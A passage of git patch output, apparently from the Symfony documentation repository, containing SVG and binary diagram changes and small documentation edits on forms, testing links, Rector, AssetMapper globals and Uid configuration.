+  <use xlink:href="#glyph1-6" x="288.128038" y="69.702854"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-5" x="1" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="13.777778" y="208.525825"/>
+  <use xlink:href="#glyph0-7" x="26.277778" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="36.833333" y="208.525825"/>
+  <use xlink:href="#glyph0-2" x="49.333333" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="57.666667" y="208.525825"/>
+  <use xlink:href="#glyph0-3" x="63.222222" y="208.525825"/>
+  <use xlink:href="#glyph0-9" x="75.722222" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="81.277778" y="208.525825"/>
+  <use xlink:href="#glyph0-10" x="86.833333" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="97.388889" y="208.525825"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="404.378906" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="414.934462" y="208.525825"/>
+  <use xlink:href="#glyph0-2" x="427.434462" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="435.767795" y="208.525825"/>
+  <use xlink:href="#glyph0-3" x="441.323351" y="208.525825"/>
+  <use xlink:href="#glyph0-9" x="453.823351" y="208.525825"/>
+  <use xlink:href="#glyph0-8" x="459.378906" y="208.525825"/>
+  <use xlink:href="#glyph0-10" x="464.934462" y="208.525825"/>
+  <use xlink:href="#glyph0-6" x="475.490017" y="208.525825"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.231317 26.545655 L 43.231317 28.995655 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.981317 28.995655 L 43.231317 29.495655 L 43.481317 28.995655 Z M 42.981317 28.995655 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.018817 27.107373 L 41.018817 29.649952 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.268817 27.107373 L 41.018817 26.607373 L 40.768817 27.107373 Z M 41.268817 27.107373 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-2" x="286.210938" y="116.762044"/>
+  <use xlink:href="#glyph2-4" x="297.599826" y="116.762044"/>
+  <use xlink:href="#glyph2-6" x="308.710938" y="116.762044"/>
+  <use xlink:href="#glyph2-7" x="315.93316" y="116.762044"/>
+  <use xlink:href="#glyph2-8" x="333.43316" y="116.762044"/>
+  <use xlink:href="#glyph2-9" x="344.544271" y="116.762044"/>
+  <use xlink:href="#glyph2-10" x="349.544271" y="116.762044"/>
+  <use xlink:href="#glyph2-11" x="354.544271" y="116.762044"/>
+  <use xlink:href="#glyph2-1" x="363.988715" y="116.762044"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph2-5" x="121.929688" y="156.762044"/>
+  <use xlink:href="#glyph2-1" x="133.318576" y="156.762044"/>
+  <use xlink:href="#glyph2-2" x="144.429688" y="156.762044"/>
+  <use xlink:href="#glyph2-4" x="155.818576" y="156.762044"/>
+  <use xlink:href="#glyph2-6" x="166.929688" y="156.762044"/>
+  <use xlink:href="#glyph2-7" x="174.15191" y="156.762044"/>
+  <use xlink:href="#glyph2-8" x="191.65191" y="156.762044"/>
+  <use xlink:href="#glyph2-9" x="202.763021" y="156.762044"/>
+  <use xlink:href="#glyph2-10" x="207.763021" y="156.762044"/>
+  <use xlink:href="#glyph2-11" x="212.763021" y="156.762044"/>
+  <use xlink:href="#glyph2-1" x="222.207465" y="156.762044"/>
+</g>
+<path style="fill:none;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 48.951044 26.559327 L 48.940497 35.999756 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 48.690497 35.999366 L 48.939911 36.499756 L 49.190497 35.999952 Z M 48.690497 35.999366 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.231317 33.419678 L 43.231317 35.869678 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.981317 35.869678 L 43.231317 36.369678 L 43.481317 35.869678 Z M 42.981317 35.869678 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+</g>
+</svg>
diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/components/serializer/serializer_workflow.dia
index 6cb44280d0d2c31a623cf915db6c39110b230959..3e2ea62558fa955d02743c735fb5fcfa87d01be4 100644
GIT binary patch
literal 1957
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

literal 1770
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
M0g<KS-yl~20DIhdkN^Mx


From 31c2ce7e44b5e307c5d089e6ad7ddf041484c7fc Mon Sep 17 00:00:00 2001
From: Thibault Miscoria <thibault.miscoria@gmail.com>
Date: Fri, 23 Jun 2023 16:35:21 +0200
Subject: [PATCH 4778/7107] Remove incomplete duplicate

Remove an incomplete duplicate which appeared in 6.3 branch
---
 reference/constraints/UniqueEntity.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 6f0c2526bc5..1625ad8f71f 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -254,11 +254,6 @@ each with a single field.
 ``ignoreNull``
 ~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``true``
-
-``ignoreNull``
-~~~~~~~~~~~~~~
-
 **type**: ``boolean`` | ``string`` | ``array`` **default**: ``true``
 
 If this option is set to ``true``, then the constraint will allow multiple

From 7da82f891c16967f42ec0d5dfba12bc590975e46 Mon Sep 17 00:00:00 2001
From: Fabien Papet <FabienPapet@users.noreply.github.com>
Date: Fri, 23 Jun 2023 13:51:55 +0200
Subject: [PATCH 4779/7107] Update custom_authenticator.rst

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 76e2fc1b291..d9debbb1fb0 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -239,7 +239,7 @@ using :ref:`the user provider <security-user-providers>`::
                 // ...
 
                 return new Passport(
-                    new UserBadge($email, function (string $userIdentifier): ?User {
+                    new UserBadge($email, function (string $userIdentifier): ?UserInterface {
                         return $this->userRepository->findOneBy(['email' => $userIdentifier]);
                     }),
                     $credentials

From 94c3941bac04eb0d1968fd9d22ed6da5bef74412 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Jun 2023 15:22:18 +0200
Subject: [PATCH 4780/7107] Mention Rector in the upgrading articles

---
 setup/upgrade_major.rst | 7 +++++++
 setup/upgrade_minor.rst | 7 +++++++
 2 files changed, 14 insertions(+)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index d6faf5f81c5..ed81d4e21d7 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -54,6 +54,12 @@ And sometimes, the warning may come from a third-party library or bundle
 that you're using. If that's true, there's a good chance that those deprecations
 have already been updated. In that case, upgrade the library to fix them.
 
+.. tip::
+
+    `Rector`_ is a third-party project that automates the upgrading and
+    refactoring of PHP projects. Rector includes some rules to fix certain
+    Symfony deprecations automatically.
+
 Once all the deprecation warnings are gone, you can upgrade with a lot
 more confidence.
 
@@ -314,3 +320,4 @@ Classes in the ``vendor/`` directory are always ignored.
        Now, you can safely allow ``^6.0`` for the Symfony dependencies.
 
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
+.. _`Rector`: https://github.com/rectorphp/rector
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index bb1cfda62fa..9e8c6943d1f 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -84,6 +84,12 @@ included in the Symfony directory that describes these changes. If you follow
 the instructions in the document and update your code accordingly, it should be
 safe to update in the future.
 
+.. tip::
+
+    `Rector`_ is a third-party project that automates the upgrading and
+    refactoring of PHP projects. Rector includes some rules to fix certain
+    Symfony deprecations automatically.
+
 These documents can also be found in the `Symfony Repository`_.
 
 .. _updating-flex-recipes:
@@ -92,3 +98,4 @@ These documents can also be found in the `Symfony Repository`_.
 
 .. _`Symfony Repository`: https://github.com/symfony/symfony
 .. _`UPGRADE-5.4.md`: https://github.com/symfony/symfony/blob/5.4/UPGRADE-5.4.md
+.. _`Rector`: https://github.com/rectorphp/rector

From 1945dba92b22d1dd25f03bd364fcc6bae4c5a417 Mon Sep 17 00:00:00 2001
From: Tim Krase <38947626+timkrase@users.noreply.github.com>
Date: Sun, 25 Jun 2023 13:33:47 +0200
Subject: [PATCH 4781/7107] [Tests] Update PHPUnit documentation links

---
 best_practices.rst                | 2 +-
 components/phpunit_bridge.rst     | 8 ++++----
 create_framework/unit_testing.rst | 4 ++--
 form/unit_testing.rst             | 2 +-
 testing.rst                       | 6 +++---
 5 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 02896abc627..02315856d00 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -463,4 +463,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
-.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 558fd808db6..288989dcd87 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -1064,11 +1064,11 @@ not find the SUT:
 .. _`PHPUnit`: https://phpunit.de
 .. _`PHPUnit event listener`: https://docs.phpunit.de/en/10.0/extending-phpunit.html#phpunit-s-event-system
 .. _`ErrorHandler component`: https://github.com/symfony/error-handler
-.. _`PHPUnit's assertStringMatchesFormat()`: https://docs.phpunit.de/en/9.5/assertions.html#assertstringmatchesformat
+.. _`PHPUnit's assertStringMatchesFormat()`: https://docs.phpunit.de/en/9.6/assertions.html#assertstringmatchesformat
 .. _`PHP error handler`: https://www.php.net/manual/en/book.errorfunc.php
-.. _`environment variable`: https://docs.phpunit.de/en/9.5/configuration.html#the-env-element
+.. _`environment variable`: https://docs.phpunit.de/en/9.6/configuration.html#the-env-element
 .. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
 .. _`Travis CI`: https://travis-ci.org/
-.. _`test listener`: https://docs.phpunit.de/en/9.5/configuration.html#the-extensions-element
-.. _`@covers`: https://docs.phpunit.de/en/9.5/annotations.html#covers
+.. _`test listener`: https://docs.phpunit.de/en/9.6/configuration.html#the-extensions-element
+.. _`@covers`: https://docs.phpunit.de/en/9.6/annotations.html#covers
 .. _`PHP namespace resolutions rules`: https://www.php.net/manual/en/language.namespaces.rules.php
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index cd3b30cac6c..916711de0ce 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -220,6 +220,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://docs.phpunit.de/en/9.5/
-.. _`test doubles`: https://docs.phpunit.de/en/9.5/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/9.6/
+.. _`test doubles`: https://docs.phpunit.de/en/9.6/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 3c4a7b780a3..bcd82a1ee38 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -241,4 +241,4 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
-.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 24326be908a..fb041937052 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1116,12 +1116,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://docs.phpunit.de/
-.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.5/configuration.html
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.6/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.5/assertions.html
+.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.6/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 77c98fea66e51da771360fe6edaeaf0b2a780c13 Mon Sep 17 00:00:00 2001
From: Jan Klan <jan@klan.com.au>
Date: Mon, 26 Jun 2023 11:58:10 +0930
Subject: [PATCH 4782/7107] Fix incorrect placement of is_empty_callback

---
 reference/forms/types/form.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 9ef474a0063..9891ea28cb4 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -61,6 +61,10 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. _reference-form-option-error-bubbling:
+
 ``is_empty_callback``
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -68,9 +72,6 @@ The actual default value of this option depends on other field options:
 
 This callable takes form data and returns whether value is considered empty.
 
-.. include:: /reference/forms/types/options/empty_data_description.rst.inc
-
-.. _reference-form-option-error-bubbling:
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 

From e48b20d329addf5defc9d7d4aab7f2fe4695617a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 26 Jun 2023 10:48:13 +0200
Subject: [PATCH 4783/7107] Minor

---
 reference/forms/types/form.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 9891ea28cb4..60d6bde2793 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -63,8 +63,6 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
-.. _reference-form-option-error-bubbling:
-
 ``is_empty_callback``
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -72,6 +70,7 @@ The actual default value of this option depends on other field options:
 
 This callable takes form data and returns whether value is considered empty.
 
+.. _reference-form-option-error-bubbling:
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 

From fce9ca0a0e76fab7ba2b953b8e9f5eceec1cf924 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 27 Jun 2023 17:02:18 -0400
Subject: [PATCH 4784/7107] [AssetMapper] Adding notes about global variables
 and tailwind-bundle

---
 frontend/asset_mapper.rst | 47 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 4feacfd63fd..bafc2671c2b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -341,6 +341,47 @@ also shows how you can require multiple packages at once:
 
     $ php bin/console importmap:require highlight.js/lib/core highlight.js/lib/languages/javascript
 
+Global Variables like jQuery
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You might be accustomed to relying on global variables - like jQuery's ``$``
+variable:
+
+.. code-block:: javascript
+
+    // assets/app.js
+    import 'jquery';
+
+    // app.js or any other file
+    $('.something').hide(); // WILL NOT WORK!
+
+But in a module environment (like with AssetMapper), when you import
+a library like ``jquery``, it does *not* create a global variable. Instead, you
+should import it and set it to a variable in *every* file you need it:
+
+.. code-block:: javascript
+
+    import $ from 'jquery';
+    $('.something').hide();
+
+You can even do this from an inline script tag:
+
+.. code-block:: html
+
+    <script type="module">
+        import $ from 'jquery';
+        $('.something').hide();
+    </script>
+
+If you *do* need something to become a global variable, you do it manually
+from inside ``app.js``:
+
+.. code-block:: javascript
+
+    import $ from 'jquery';
+    // things on "window" become global variables
+    window.$ = $;
+
 Handling 3rd-Party CSS
 ----------------------
 
@@ -713,6 +754,11 @@ component.
 Using Tailwind CSS
 ------------------
 
+.. seealso::
+
+    Check out `symfonycasts/tailwind-bundle`_ for an even easier way to use
+    Tailwind with Symfony.
+
 Want to use the `Tailwind`_ CSS framework with the AssetMapper component? No problem.
 First, install the ``tailwindcss`` binary. This can be installed via npm (run
 ``npm --init`` if you don't already have a ``package.json`` file):
@@ -1095,3 +1141,4 @@ This will force the AssetMapper component to re-calculate the content of all fil
 .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle
 .. _Cloudflare: https://www.cloudflare.com/
 .. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
+.. _symfonycasts/tailwind-bundle: https://github.com/SymfonyCasts/tailwind-bundle

From 480fc64f6df4e1f150da0cd04d16b581fb2ca87d Mon Sep 17 00:00:00 2001
From: Ladislav Kubes <ladislav.k@gmail.com>
Date: Tue, 27 Jun 2023 21:14:36 +0200
Subject: [PATCH 4785/7107] [Uid] v7 is the new default version

See https://github.com/symfony/recipes/pull/1145
---
 components/uid.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 24f4c59255b..0b1f6f1c030 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -94,10 +94,10 @@ configure the behavior of the factory using configuration files::
         # config/packages/uid.yaml
         framework:
             uid:
